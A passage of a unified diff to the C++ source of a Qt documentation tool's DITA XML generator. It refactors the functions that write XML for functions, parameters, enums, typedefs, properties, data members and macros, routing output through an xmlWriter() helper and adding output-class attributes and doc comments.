+                xmlWriter().writeEndElement(); // <cxxFunctionScopedName>
             }
-            writer.writeStartElement(CXXFUNCTIONPROTOTYPE);
-            writer.writeCharacters(fn->signature(true));
-            writer.writeEndElement(); // <cxxFunctionPrototype>
+            xmlWriter().writeStartElement(CXXFUNCTIONPROTOTYPE);
+            writeCharacters(fn->signature(true));
+            xmlWriter().writeEndElement(); // <cxxFunctionPrototype>
 
             QString fnl = fn->signature(false);
             int idx = fnl.indexOf(' ');
@@ -4685,30 +4630,30 @@ void DitaXmlGenerator::writeFunctions(const Section& s,
             else
                 ++idx;
             fnl = fn->parent()->name() + "::" + fnl.mid(idx);
-            writer.writeStartElement(CXXFUNCTIONNAMELOOKUP);
-            writer.writeCharacters(fnl);
-            writer.writeEndElement(); // <cxxFunctionNameLookup>
+            xmlWriter().writeStartElement(CXXFUNCTIONNAMELOOKUP);
+            writeCharacters(fnl);
+            xmlWriter().writeEndElement(); // <cxxFunctionNameLookup>
 
-            if (fn->isReimp() && fn->reimplementedFrom() != 0) {
+            if (!fn->isInternal() && fn->isReimp() && fn->reimplementedFrom() != 0) {
                 FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom();
-                writer.writeStartElement(CXXFUNCTIONREIMPLEMENTED);
-                writer.writeAttribute("href",rfn->ditaXmlHref());
-                writer.writeCharacters(marker->plainFullName(rfn));
-                writer.writeEndElement(); // </cxxFunctionReimplemented>
+                if (rfn && !rfn->isInternal()) {
+                    xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED);
+                    xmlWriter().writeAttribute("href",rfn->ditaXmlHref());
+                    writeCharacters(marker->plainFullName(rfn));
+                    xmlWriter().writeEndElement(); // </cxxFunctionReimplemented>
+                }
             }
-            writeParameters(fn,marker);
+            writeParameters(fn);
             writeLocation(fn);
-            writer.writeEndElement(); // <cxxFunctionDefinition>
-            writer.writeStartElement(APIDESC);
+            xmlWriter().writeEndElement(); // <cxxFunctionDefinition>
 
-            if (!fn->doc().isEmpty()) {
-                generateBody(fn, marker);
-                //        generateAlsoList(inner, marker);
-            }
+            writeDetailedDescription(fn, marker, true, QString());
+            // generateAlsoList(inner, marker);
 
-            writer.writeEndElement(); // </apiDesc>
-            writer.writeEndElement(); // </cxxFunctionDetail>
-            writer.writeEndElement(); // </cxxFunction>
+            // not included: <example> or <apiImpl>
+
+            xmlWriter().writeEndElement(); // </cxxFunctionDetail>
+            xmlWriter().writeEndElement(); // </cxxFunction>
 
             if (fn->metaness() == FunctionNode::Ctor ||
                 fn->metaness() == FunctionNode::Dtor ||
@@ -4719,445 +4664,748 @@ void DitaXmlGenerator::writeFunctions(const Section& s,
     }
 }
 
-void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marker)
+/*!
+  This function writes the <cxxFunctionParameters> element.
+ */
+void DitaXmlGenerator::writeParameters(const FunctionNode* fn)
 {
     const QList<Parameter>& parameters = fn->parameters();
     if (!parameters.isEmpty()) {
-        writer.writeStartElement(CXXFUNCTIONPARAMETERS);
+        xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERS);
         QList<Parameter>::ConstIterator p = parameters.begin();
         while (p != parameters.end()) {
-            writer.writeStartElement(CXXFUNCTIONPARAMETER);
-            writer.writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE);
-            writer.writeCharacters((*p).leftType());
+            xmlWriter().writeStartElement(CXXFUNCTIONPARAMETER);
+            xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE);
+            writeCharacters((*p).leftType());
             if (!(*p).rightType().isEmpty())
-                writer.writeCharacters((*p).rightType());
-            writer.writeEndElement(); // <cxxFunctionParameterDeclaredType>
-            writer.writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME);
-            writer.writeCharacters((*p).name());
-            writer.writeEndElement(); // <cxxFunctionParameterDeclarationName>
+                writeCharacters((*p).rightType());
+            xmlWriter().writeEndElement(); // <cxxFunctionParameterDeclaredType>
+            xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME);
+            writeCharacters((*p).name());
+            xmlWriter().writeEndElement(); // <cxxFunctionParameterDeclarationName>
+
+            // not included: <cxxFunctionParameterDefinitionName>
+
             if (!(*p).defaultValue().isEmpty()) {
-                writer.writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE);
-                writer.writeCharacters((*p).defaultValue());
-                writer.writeEndElement(); // <cxxFunctionParameterDefaultValue>
+                xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE);
+                writeCharacters((*p).defaultValue());
+                xmlWriter().writeEndElement(); // <cxxFunctionParameterDefaultValue>
             }
-            writer.writeEndElement(); // <cxxFunctionParameter>
+
+            // not included: <apiDefNote>
+
+            xmlWriter().writeEndElement(); // <cxxFunctionParameter>
             ++p;
         }
-        writer.writeEndElement(); // <cxxFunctionParameters>
+        xmlWriter().writeEndElement(); // <cxxFunctionParameters>
     }
 }
 
+/*!
+  This function writes the enum types.
+ */
 void DitaXmlGenerator::writeEnumerations(const Section& s, 
-                                         const ClassNode* cn, 
-                                         CodeMarker* marker)
+                                         CodeMarker* marker,
+                                         const QString& attribute)
 {
     NodeList::ConstIterator m = s.members.begin();
     while (m != s.members.end()) {
         if ((*m)->type() == Node::Enum) {
             const EnumNode* en = static_cast<const EnumNode*>(*m);
-            writer.writeStartElement(CXXENUMERATION);
-            writer.writeAttribute("id",en->guid());
-            writer.writeStartElement(APINAME);
-            writer.writeCharacters(en->name());
-            writer.writeEndElement(); // </apiName>
+            xmlWriter().writeStartElement(CXXENUMERATION);
+            xmlWriter().writeAttribute("id",en->guid());
+            if (!attribute.isEmpty())
+                xmlWriter().writeAttribute("outputclass",attribute);
+            xmlWriter().writeStartElement("apiName");
+            writeCharacters(en->name());
+            xmlWriter().writeEndElement(); // </apiName>
             generateBrief(en,marker);
-            writer.writeStartElement(CXXENUMERATIONDETAIL);
-            writer.writeStartElement(CXXENUMERATIONDEFINITION);
-            writer.writeStartElement(CXXENUMERATIONACCESSSPECIFIER);
-            writer.writeAttribute("value",en->accessString());
-            writer.writeEndElement(); // <cxxEnumerationAccessSpecifier>
+
+            // not included <prolog>
+
+            xmlWriter().writeStartElement(CXXENUMERATIONDETAIL);
+            xmlWriter().writeStartElement(CXXENUMERATIONDEFINITION);
+            xmlWriter().writeStartElement(CXXENUMERATIONACCESSSPECIFIER);
+            xmlWriter().writeAttribute("value",en->accessString());
+            xmlWriter().writeEndElement(); // <cxxEnumerationAccessSpecifier>
 
             QString fq = fullQualification(en);
             if (!fq.isEmpty()) {
-                writer.writeStartElement(CXXENUMERATIONSCOPEDNAME);
-                writer.writeCharacters(fq);
-                writer.writeEndElement(); // <cxxEnumerationScopedName>
+                xmlWriter().writeStartElement(CXXENUMERATIONSCOPEDNAME);
+                writeCharacters(fq);
+                xmlWriter().writeEndElement(); // <cxxEnumerationScopedName>
             }
             const QList<EnumItem>& items = en->items();
             if (!items.isEmpty()) {
-                writer.writeStartElement(CXXENUMERATIONPROTOTYPE);
-                writer.writeCharacters(en->name());
-                writer.writeCharacters(" = { ");
+                xmlWriter().writeStartElement(CXXENUMERATIONPROTOTYPE);
+                writeCharacters(en->name());
+                xmlWriter().writeCharacters(" = { ");
                 QList<EnumItem>::ConstIterator i = items.begin();
                 while (i != items.end()) {
-                    writer.writeCharacters((*i).name());
+                    writeCharacters((*i).name());
                     if (!(*i).value().isEmpty()) {
-                        writer.writeCharacters(" = ");
-                        writer.writeCharacters((*i).value());
+                        xmlWriter().writeCharacters(" = ");
+                        writeCharacters((*i).value());
                     }
                     ++i;
                     if (i != items.end())
-                        writer.writeCharacters(", ");
+                        xmlWriter().writeCharacters(", ");
                 }
-                writer.writeCharacters(" }");
-                writer.writeEndElement(); // <cxxEnumerationPrototype>
+                xmlWriter().writeCharacters(" }");
+                xmlWriter().writeEndElement(); // <cxxEnumerationPrototype>
             }
 
-            writer.writeStartElement(CXXENUMERATIONNAMELOOKUP);
-            writer.writeCharacters(en->parent()->name() + "::" + en->name());
-            writer.writeEndElement(); // <cxxEnumerationNameLookup>
+            xmlWriter().writeStartElement(CXXENUMERATIONNAMELOOKUP);
+            writeCharacters(en->parent()->name() + "::" + en->name());
+            xmlWriter().writeEndElement(); // <cxxEnumerationNameLookup>
+
+            // not included: <cxxEnumerationReimplemented>
 
             if (!items.isEmpty()) {
-                writer.writeStartElement(CXXENUMERATORS);
+                xmlWriter().writeStartElement(CXXENUMERATORS);
                 QList<EnumItem>::ConstIterator i = items.begin();
                 while (i != items.end()) {
-                    writer.writeStartElement(CXXENUMERATOR);
-                    writer.writeStartElement(APINAME);
-                    writer.writeCharacters((*i).name());
-                    writer.writeEndElement(); // </apiName>
+                    xmlWriter().writeStartElement(CXXENUMERATOR);
+                    xmlWriter().writeStartElement("apiName");
+                    writeCharacters((*i).name());
+                    xmlWriter().writeEndElement(); // </apiName>
 
                     QString fq = fullQualification(en->parent());
                     if (!fq.isEmpty()) {
-                        writer.writeStartElement(CXXENUMERATORSCOPEDNAME);
-                        writer.writeCharacters(fq + "::" + (*i).name());
-                        writer.writeEndElement(); // <cxxEnumeratorScopedName>
+                        xmlWriter().writeStartElement(CXXENUMERATORSCOPEDNAME);
+                        writeCharacters(fq + "::" + (*i).name());
+                        xmlWriter().writeEndElement(); // <cxxEnumeratorScopedName>
                     }
-                    writer.writeStartElement(CXXENUMERATORPROTOTYPE);
-                    writer.writeCharacters((*i).name());
-                    writer.writeEndElement(); // <cxxEnumeratorPrototype>
-                    writer.writeStartElement(CXXENUMERATORNAMELOOKUP);
-                    writer.writeCharacters(en->parent()->name() + "::" + (*i).name());
-                    writer.writeEndElement(); // <cxxEnumeratorNameLookup>
+                    xmlWriter().writeStartElement(CXXENUMERATORPROTOTYPE);
+                    writeCharacters((*i).name());
+                    xmlWriter().writeEndElement(); // <cxxEnumeratorPrototype>
+                    xmlWriter().writeStartElement(CXXENUMERATORNAMELOOKUP);
+                    writeCharacters(en->parent()->name() + "::" + (*i).name());
+                    xmlWriter().writeEndElement(); // <cxxEnumeratorNameLookup>
 
                     if (!(*i).value().isEmpty()) {
-                        writer.writeStartElement(CXXENUMERATORINITIALISER);
-                        writer.writeAttribute("value", (*i).value());
-                        writer.writeEndElement(); // <cxxEnumeratorInitialiser>
+                        xmlWriter().writeStartElement(CXXENUMERATORINITIALISER);
+                        xmlWriter().writeAttribute("value", (*i).value());
+                        xmlWriter().writeEndElement(); // <cxxEnumeratorInitialiser>
                     }
+
+                    // not included: <cxxEnumeratorAPIItemLocation>
+
                     if (!(*i).text().isEmpty()) {
-                        writer.writeStartElement(APIDESC);
+                        xmlWriter().writeStartElement("apiDesc");
                         generateText((*i).text(), en, marker);
-                        writer.writeEndElement(); // </apiDesc>
+                        xmlWriter().writeEndElement(); // </apiDesc>
                     }
-                    writer.writeEndElement(); // <cxxEnumerator>
+                    xmlWriter().writeEndElement(); // <cxxEnumerator>
                     ++i;
                 }
-                writer.writeEndElement(); // <cxxEnumerators>
+                xmlWriter().writeEndElement(); // <cxxEnumerators>
             }
             
             writeLocation(en);
-            writer.writeEndElement(); // <cxxEnumerationDefinition>
-            writer.writeStartElement(APIDESC);
+            xmlWriter().writeEndElement(); // <cxxEnumerationDefinition>
 
-            if (!en->doc().isEmpty()) {
-                generateBody(en, marker);
-            }
+            writeDetailedDescription(en, marker, true, QString());
+
+            // not included: <example> or <apiImpl>
+
+            xmlWriter().writeEndElement(); // </cxxEnumerationDetail>
 
-            writer.writeEndElement(); // </apiDesc>
-            writer.writeEndElement(); // </cxxEnumerationDetail>
-            writer.writeEndElement(); // </cxxEnumeration>
+            // not included: <related-links>
+
+            xmlWriter().writeEndElement(); // </cxxEnumeration>
         }
         ++m;
     }
 }
 
+/*!
+  This function writes the output for the \typedef commands.
+ */
 void DitaXmlGenerator::writeTypedefs(const Section& s, 
-                                     const ClassNode* cn, 
-                                     CodeMarker* marker)
+                                     CodeMarker* marker,
+                                     const QString& attribute)
+
 {
     NodeList::ConstIterator m = s.members.begin();
     while (m != s.members.end()) {
         if ((*m)->type() == Node::Typedef) {
             const TypedefNode* tn = static_cast<const TypedefNode*>(*m);
-            writer.writeStartElement(CXXTYPEDEF);
-            writer.writeAttribute("id",tn->guid());
-            writer.writeStartElement(APINAME);
-            writer.writeCharacters(tn->name());
-            writer.writeEndElement(); // </apiName>
+            xmlWriter().writeStartElement(CXXTYPEDEF);
+            xmlWriter().writeAttribute("id",tn->guid());
+            if (!attribute.isEmpty())
+                xmlWriter().writeAttribute("outputclass",attribute);
+            xmlWriter().writeStartElement("apiName");
+            writeCharacters(tn->name());
+            xmlWriter().writeEndElement(); // </apiName>
             generateBrief(tn,marker);
-            writer.writeStartElement(CXXTYPEDEFDETAIL);
-            writer.writeStartElement(CXXTYPEDEFDEFINITION);
-            writer.writeStartElement(CXXTYPEDEFACCESSSPECIFIER);
-            writer.writeAttribute("value",tn->accessString());
-            writer.writeEndElement(); // <cxxTypedefAccessSpecifier>
+
+            // not included: <prolog>
+
+            xmlWriter().writeStartElement(CXXTYPEDEFDETAIL);
+            xmlWriter().writeStartElement(CXXTYPEDEFDEFINITION);
+            xmlWriter().writeStartElement(CXXTYPEDEFACCESSSPECIFIER);
+            xmlWriter().writeAttribute("value",tn->accessString());
+            xmlWriter().writeEndElement(); // <cxxTypedefAccessSpecifier>
+
+            // not included: <cxxTypedefDeclaredType>
 
             QString fq = fullQualification(tn);
             if (!fq.isEmpty()) {
-                writer.writeStartElement(CXXTYPEDEFSCOPEDNAME);
-                writer.writeCharacters(fq);
-                writer.writeEndElement(); // <cxxTypedefScopedName>
+                xmlWriter().writeStartElement(CXXTYPEDEFSCOPEDNAME);
+                writeCharacters(fq);
+                xmlWriter().writeEndElement(); // <cxxTypedefScopedName>
             }
-            writer.writeStartElement(CXXTYPEDEFNAMELOOKUP);
-            writer.writeCharacters(tn->parent()->name() + "::" + tn->name());
-            writer.writeEndElement(); // <cxxTypedefNameLookup>
-            
+
+            // not included: <cxxTypedefPrototype>
+
+            xmlWriter().writeStartElement(CXXTYPEDEFNAMELOOKUP);
+            writeCharacters(tn->parent()->name() + "::" + tn->name());
+            xmlWriter().writeEndElement(); // <cxxTypedefNameLookup>
+
+            // not included: <cxxTypedefReimplemented>
+
             writeLocation(tn);
-            writer.writeEndElement(); // <cxxTypedefDefinition>
-            writer.writeStartElement(APIDESC);
+            xmlWriter().writeEndElement(); // <cxxTypedefDefinition>
 
-            if (!tn->doc().isEmpty()) {
-                generateBody(tn, marker);
-            }
+            writeDetailedDescription(tn, marker, true, QString());
+
+            // not included: <example> or <apiImpl>
+
+            xmlWriter().writeEndElement(); // </cxxTypedefDetail>
+
+            // not included: <related-links>
 
-            writer.writeEndElement(); // </apiDesc>
-            writer.writeEndElement(); // </cxxTypedefDetail>
-            writer.writeEndElement(); // </cxxTypedef>
+            xmlWriter().writeEndElement(); // </cxxTypedef>
         }
         ++m;
     }
 }
 
+/*!
+  This function writes the output for the \property commands.
+  This is the Q_PROPERTYs.
+ */
 void DitaXmlGenerator::writeProperties(const Section& s, 
-                                       const ClassNode* cn, 
-                                       CodeMarker* marker)
+                                       CodeMarker* marker,
+                                       const QString& attribute)
 {
     NodeList::ConstIterator m = s.members.begin();
     while (m != s.members.end()) {
         if ((*m)->type() == Node::Property) {
             const PropertyNode* pn = static_cast<const PropertyNode*>(*m);
-            writer.writeStartElement(CXXVARIABLE);
-            writer.writeAttribute("id",pn->guid());
-            writer.writeStartElement(APINAME);
-            writer.writeCharacters(pn->name());
-            writer.writeEndElement(); // </apiName>
+            xmlWriter().writeStartElement(CXXVARIABLE);
+            xmlWriter().writeAttribute("id",pn->guid());
+            if (!attribute.isEmpty())
+                xmlWriter().writeAttribute("outputclass",attribute);
+            xmlWriter().writeStartElement("apiName");
+            writeCharacters(pn->name());
+            xmlWriter().writeEndElement(); // </apiName>
             generateBrief(pn,marker);
-            writer.writeStartElement(CXXVARIABLEDETAIL);
-            writer.writeStartElement(CXXVARIABLEDEFINITION);
-            writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER);
-            writer.writeAttribute("value",pn->accessString());
-            writer.writeEndElement(); // <cxxVariableAccessSpecifier>
+
+            // not included: <prolog>
+
+            xmlWriter().writeStartElement(CXXVARIABLEDETAIL);
+            xmlWriter().writeStartElement(CXXVARIABLEDEFINITION);
+            xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER);
+            xmlWriter().writeAttribute("value",pn->accessString());
+            xmlWriter().writeEndElement(); // <cxxVariableAccessSpecifier>
+
+            // not included: <cxxVariableStorageClassSpecifierExtern>,
+            //               <cxxVariableStorageClassSpecifierStatic>,
+            //               <cxxVariableStorageClassSpecifierMutable>,
+            //               <cxxVariableConst>, <cxxVariableVolatile>
 
             if (!pn->qualifiedDataType().isEmpty()) {
-                writer.writeStartElement(CXXVARIABLEDECLAREDTYPE);
-                writer.writeCharacters(pn->qualifiedDataType());
-                writer.writeEndElement(); // <cxxVariableDeclaredType>
+                xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE);
+                writeCharacters(pn->qualifiedDataType());
+                xmlWriter().writeEndElement(); // <cxxVariableDeclaredType>
             }
             QString fq = fullQualification(pn);
             if (!fq.isEmpty()) {
-                writer.writeStartElement(CXXVARIABLESCOPEDNAME);
-                writer.writeCharacters(fq);
-                writer.writeEndElement(); // <cxxVariableScopedName>
+                xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME);
+                writeCharacters(fq);
+                xmlWriter().writeEndElement(); // <cxxVariableScopedName>
             }
             
-            writer.writeStartElement(CXXVARIABLEPROTOTYPE);
-            writer.writeCharacters("Q_PROPERTY(");
-            writer.writeCharacters(pn->qualifiedDataType());
-            writer.writeCharacters(" ");
-            writer.writeCharacters(pn->name());
-            writePropParams("READ",pn->getters());
-            writePropParams("WRITE",pn->setters());
-            writePropParams("RESET",pn->resetters());
-            writePropParams("NOTIFY",pn->notifiers());
+            xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE);
+            xmlWriter().writeCharacters("Q_PROPERTY(");
+            writeCharacters(pn->qualifiedDataType());
+            xmlWriter().writeCharacters(" ");
+            writeCharacters(pn->name());
+            writePropertyParameter("READ",pn->getters());
+            writePropertyParameter("WRITE",pn->setters());
+            writePropertyParameter("RESET",pn->resetters());
+            writePropertyParameter("NOTIFY",pn->notifiers());
             if (pn->isDesignable() != pn->designableDefault()) {
-                writer.writeCharacters(" DESIGNABLE ");
+                xmlWriter().writeCharacters(" DESIGNABLE ");
                 if (!pn->runtimeDesignabilityFunction().isEmpty())
-                    writer.writeCharacters(pn->runtimeDesignabilityFunction());
+                    writeCharacters(pn->runtimeDesignabilityFunction());
                 else
-                    writer.writeCharacters(pn->isDesignable() ? "true" : "false");
+                    xmlWriter().writeCharacters(pn->isDesignable() ? "true" : "false");
             }
             if (pn->isScriptable() != pn->scriptableDefault()) {
-                writer.writeCharacters(" SCRIPTABLE ");
+                xmlWriter().writeCharacters(" SCRIPTABLE ");
                 if (!pn->runtimeScriptabilityFunction().isEmpty())
-                    writer.writeCharacters(pn->runtimeScriptabilityFunction());
+                    writeCharacters(pn->runtimeScriptabilityFunction());
                 else
-                    writer.writeCharacters(pn->isScriptable() ? "true" : "false");
+                    xmlWriter().writeCharacters(pn->isScriptable() ? "true" : "false");
             }
             if (pn->isWritable() != pn->writableDefault()) {
-                writer.writeCharacters(" STORED ");
-                writer.writeCharacters(pn->isStored() ? "true" : "false");
+                xmlWriter().writeCharacters(" STORED ");
+                xmlWriter().writeCharacters(pn->isStored() ? "true" : "false");
             }
             if (pn->isUser() != pn->userDefault()) {
-                writer.writeCharacters(" USER ");
-                writer.writeCharacters(pn->isUser() ? "true" : "false");
+                xmlWriter().writeCharacters(" USER ");
+                xmlWriter().writeCharacters(pn->isUser() ? "true" : "false");
             }
             if (pn->isConstant())
-                writer.writeCharacters(" CONSTANT");
+                xmlWriter().writeCharacters(" CONSTANT");
             if (pn->isFinal())
-                writer.writeCharacters(" FINAL");
-            writer.writeCharacters(")");
-            writer.writeEndElement(); // <cxxVariablePrototype>
+                xmlWriter().writeCharacters(" FINAL");
+            xmlWriter().writeCharacters(")");
+            xmlWriter().writeEndElement(); // <cxxVariablePrototype>
 
-            writer.writeStartElement(CXXVARIABLENAMELOOKUP);
-            writer.writeCharacters(pn->parent()->name() + "::" + pn->name());
-            writer.writeEndElement(); // <cxxVariableNameLookup>
+            xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP);
+            writeCharacters(pn->parent()->name() + "::" + pn->name());
+            xmlWriter().writeEndElement(); // <cxxVariableNameLookup>
 
             if (pn->overriddenFrom() != 0) {
                 PropertyNode* opn = (PropertyNode*)pn->overriddenFrom();
-                writer.writeStartElement(CXXVARIABLEREIMPLEMENTED);
-                writer.writeAttribute("href",opn->ditaXmlHref());
-                writer.writeCharacters(marker->plainFullName(opn));
-                writer.writeEndElement(); // </cxxVariableReimplemented>
+                xmlWriter().writeStartElement(CXXVARIABLEREIMPLEMENTED);
+                xmlWriter().writeAttribute("href",opn->ditaXmlHref());
+                writeCharacters(marker->plainFullName(opn));
+                xmlWriter().writeEndElement(); // </cxxVariableReimplemented>
             }
 
             writeLocation(pn);
-            writer.writeEndElement(); // <cxxVariableDefinition>
-            writer.writeStartElement(APIDESC);
+            xmlWriter().writeEndElement(); // <cxxVariableDefinition>
 
-            if (!pn->doc().isEmpty()) {
-                generateBody(pn, marker);
-            }
+            writeDetailedDescription(pn, marker, true, QString());
+            
+            // not included: <example> or <apiImpl>
+
+            xmlWriter().writeEndElement(); // </cxxVariableDetail>
 
-            writer.writeEndElement(); // </apiDesc>
-            writer.writeEndElement(); // </cxxVariableDetail>
-            writer.writeEndElement(); // </cxxVariable>
+            // not included: <related-links>
+
+            xmlWriter().writeEndElement(); // </cxxVariable>
         }
         ++m;
     }
 }
 
+/*!
+  This function outputs the nodes resulting from \variable commands.
+ */
 void DitaXmlGenerator::writeDataMembers(const Section& s, 
-                                        const ClassNode* cn, 
-                                        CodeMarker* marker)
+                                        CodeMarker* marker,
+                                        const QString& attribute)
 {
     NodeList::ConstIterator m = s.members.begin();
     while (m != s.members.end()) {
         if ((*m)->type() == Node::Variable) {
             const VariableNode* vn = static_cast<const VariableNode*>(*m);
-            writer.writeStartElement(CXXVARIABLE);
-            writer.writeAttribute("id",vn->guid());
-            writer.writeStartElement(APINAME);
-            writer.writeCharacters(vn->name());
-            writer.writeEndElement(); // </apiName>
+            xmlWriter().writeStartElement(CXXVARIABLE);
+            xmlWriter().writeAttribute("id",vn->guid());
+            if (!attribute.isEmpty())
+                xmlWriter().writeAttribute("outputclass",attribute);
+            xmlWriter().writeStartElement("apiName");
+            writeCharacters(vn->name());
+            xmlWriter().writeEndElement(); // </apiName>
             generateBrief(vn,marker);
-            writer.writeStartElement(CXXVARIABLEDETAIL);
-            writer.writeStartElement(CXXVARIABLEDEFINITION);
-            writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER);
-            writer.writeAttribute("value",vn->accessString());
-            writer.writeEndElement(); // <cxxVariableAccessSpecifier>
+
+            // not included: <prolog>
+
+            xmlWriter().writeStartElement(CXXVARIABLEDETAIL);
+            xmlWriter().writeStartElement(CXXVARIABLEDEFINITION);
+            xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER);
+            xmlWriter().writeAttribute("value",vn->accessString());
+            xmlWriter().writeEndElement(); // <cxxVariableAccessSpecifier>
+
+            // not included: <cxxVAriableStorageClassSpecifierExtern>
 
             if (vn->isStatic()) {
-                writer.writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC);
-                writer.writeAttribute("name","static");
-                writer.writeAttribute("value","static");
-                writer.writeEndElement(); // <cxxVariableStorageClassSpecifierStatic>
+                xmlWriter().writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC);
+                xmlWriter().writeAttribute("name","static");
+                xmlWriter().writeAttribute("value","static");
+                xmlWriter().writeEndElement(); // <cxxVariableStorageClassSpecifierStatic>
             }
 
-            writer.writeStartElement(CXXVARIABLEDECLAREDTYPE);
-            writer.writeCharacters(vn->leftType());
+            // not included: <cxxVAriableStorageClassSpecifierMutable>,
+            //               <cxxVariableConst>, <cxxVariableVolatile>
+
+            xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE);
+            writeCharacters(vn->leftType());
             if (!vn->rightType().isEmpty())
-                writer.writeCharacters(vn->rightType());
-            writer.writeEndElement(); // <cxxVariableDeclaredType>
+                writeCharacters(vn->rightType());
+            xmlWriter().writeEndElement(); // <cxxVariableDeclaredType>
 
             QString fq = fullQualification(vn);
             if (!fq.isEmpty()) {
-                writer.writeStartElement(CXXVARIABLESCOPEDNAME);
-                writer.writeCharacters(fq);
-                writer.writeEndElement(); // <cxxVariableScopedName>
+                xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME);
+                writeCharacters(fq);
+                xmlWriter().writeEndElement(); // <cxxVariableScopedName>
             }
             
-            writer.writeStartElement(CXXVARIABLEPROTOTYPE);
-            writer.writeCharacters(vn->leftType() + " ");
-            //writer.writeCharacters(vn->parent()->name() + "::" + vn->name()); 
-            writer.writeCharacters(vn->name()); 
+            xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE);
+            writeCharacters(vn->leftType() + " ");
+            //writeCharacters(vn->parent()->name() + "::" + vn->name()); 
+            writeCharacters(vn->name()); 
             if (!vn->rightType().isEmpty())
-                writer.writeCharacters(vn->rightType());
-            writer.writeEndElement(); // <cxxVariablePrototype>
+                writeCharacters(vn->rightType());
+            xmlWriter().writeEndElement(); // <cxxVariablePrototype>
+
+            xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP);
+            writeCharacters(vn->parent()->name() + "::" + vn->name());
+            xmlWriter().writeEndElement(); // <cxxVariableNameLookup>
 
-            writer.writeStartElement(CXXVARIABLENAMELOOKUP);
-            writer.writeCharacters(vn->parent()->name() + "::" + vn->name());
-            writer.writeEndElement(); // <cxxVariableNameLookup>
+            // not included: <cxxVariableReimplemented>
 
             writeLocation(vn);
-            writer.writeEndElement(); // <cxxVariableDefinition>
-            writer.writeStartElement(APIDESC);
+            xmlWriter().writeEndElement(); // <cxxVariableDefinition>
 
-            if (!vn->doc().isEmpty()) {
-                generateBody(vn, marker);
-            }
+            writeDetailedDescription(vn, marker, true, QString());
+
+            // not included: <example> or <apiImpl>
+
+            xmlWriter().writeEndElement(); // </cxxVariableDetail>
+
+            // not included: <related-links>
 
-            writer.writeEndElement(); // </apiDesc>
-            writer.writeEndElement(); // </cxxVariableDetail>
-            writer.writeEndElement(); // </cxxVariable>
+            xmlWriter().writeEndElement(); // </cxxVariable>
         }
         ++m;
     }
 }
 
+/*!
+  This function writes a \macro as a <cxxDefine>.
+ */
 void DitaXmlGenerator::writeMacros(const Section& s, 
-                                   const ClassNode* cn, 
-                                   CodeMarker* marker)
+                                   CodeMarker* marker,
+                                   const QString& attribute)
 {
     NodeList::ConstIterator m = s.members.begin();
     while (m != s.members.end()) {
         if ((*m)->type() == Node::Function) {
             const FunctionNode* fn = static_cast<const FunctionNode*>(*m);
             if (fn->isMacro()) {
-                writer.writeStartElement(CXXDEFINE);
-                writer.writeAttribute("id",fn->guid());
-                writer.writeStartElement(APINAME);
-                writer.writeCharacters(fn->name());
-                writer.writeEndElement(); // </apiName>
+                xmlWriter().writeStartElement(CXXDEFINE);
+                xmlWriter().writeAttribute("id",fn->guid());
+                if (!attribute.isEmpty())
+                    xmlWriter().writeAttribute("outputclass",attribute);
+                xmlWriter().writeStartElement("apiName");
+                writeCharacters(fn->name());
+                xmlWriter().writeEndElement(); // </apiName>
                 generateBrief(fn,marker);
-                writer.writeStartElement(CXXDEFINEDETAIL);
-                writer.writeStartElement(CXXDEFINEDEFINITION);
-                writer.writeStartElement(CXXDEFINEACCESSSPECIFIER);
-                writer.writeAttribute("value",fn->accessString());
-                writer.writeEndElement(); // <cxxDefineAccessSpecifier>
+
+                // not included: <prolog>
+
+                xmlWriter().writeStartElement(CXXDEFINEDETAIL);
+                xmlWriter().writeStartElement(CXXDEFINEDEFINITION);
+                xmlWriter().writeStartElement(CXXDEFINEACCESSSPECIFIER);
+                xmlWriter().writeAttribute("value",fn->accessString());
+                xmlWriter().writeEndElement(); // <cxxDefineAccessSpecifier>
             
-                writer.writeStartElement(CXXDEFINEPROTOTYPE);
-                writer.writeCharacters("#define ");
-                writer.writeCharacters(fn->name());
+                xmlWriter().writeStartElement(CXXDEFINEPROTOTYPE);
+                xmlWriter().writeCharacters("#define ");
+                writeCharacters(fn->name());
                 if (fn->metaness() == FunctionNode::MacroWithParams) {
                     QStringList params = fn->parameterNames();
                     if (!params.isEmpty()) {
-                        writer.writeCharacters("(");
+                        xmlWriter().writeCharacters("(");
                         for (int i = 0; i < params.size(); ++i) {
                             if (params[i].isEmpty())
-                                writer.writeCharacters("...");
+                                xmlWriter().writeCharacters("...");
                             else
-                                writer.writeCharacters(params[i]);
+                                writeCharacters(params[i]);
                             if ((i+1) < params.size()) 
-                                writer.writeCharacters(", ");
+                                xmlWriter().writeCharacters(", ");
                         }
-                        writer.writeCharacters(")");
+                        xmlWriter().writeCharacters(")");
                     }
                 }
-                writer.writeEndElement(); // <cxxDefinePrototype>
+                xmlWriter().writeEndElement(); // <cxxDefinePrototype>
 
-                writer.writeStartElement(CXXDEFINENAMELOOKUP);
-                writer.writeCharacters(fn->name());
-                writer.writeEndElement(); // <cxxDefineNameLookup>
+                xmlWriter().writeStartElement(CXXDEFINENAMELOOKUP);
+                writeCharacters(fn->name());
+                xmlWriter().writeEndElement(); // <cxxDefineNameLookup>
 
                 if (fn->reimplementedFrom() != 0) {
